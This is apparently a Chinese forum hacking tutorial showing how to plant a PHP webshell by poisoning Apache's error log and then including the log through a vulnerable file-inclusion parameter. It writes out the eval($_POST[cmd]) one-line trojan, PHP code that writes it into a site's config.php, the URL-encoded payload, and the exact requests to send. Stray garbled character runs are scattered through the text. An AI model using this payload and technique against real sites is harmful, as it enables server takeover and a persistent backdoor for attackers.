php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

5 e7 s+ U& D: f. P0 x比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

# m( K3 s7 ?  o9 H3 @' u1 t8 n到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
2 L0 k# G0 i! N3 _fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
0 Q  G6 D4 S# v  U7 Bfclose($fp);?>   //在config.php里写入一句木马语句
7 J  s7 F, w, `& v
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
; G2 {# L0 z1 T& t转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
/ I/ G, Y( [& Y! C* \%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
) o# R1 f4 `; y5 i! i: Efclose%28%24fp%29%3B%3F%3E
我们提交
* I) p0 R5 A0 \8 r" K! ]4 Chttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
/ B  H/ A) j4 T: |8 O  s%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
" G3 C! g/ K& r+ Ocmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
+ ]; Y* q. q* S! n! v
这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
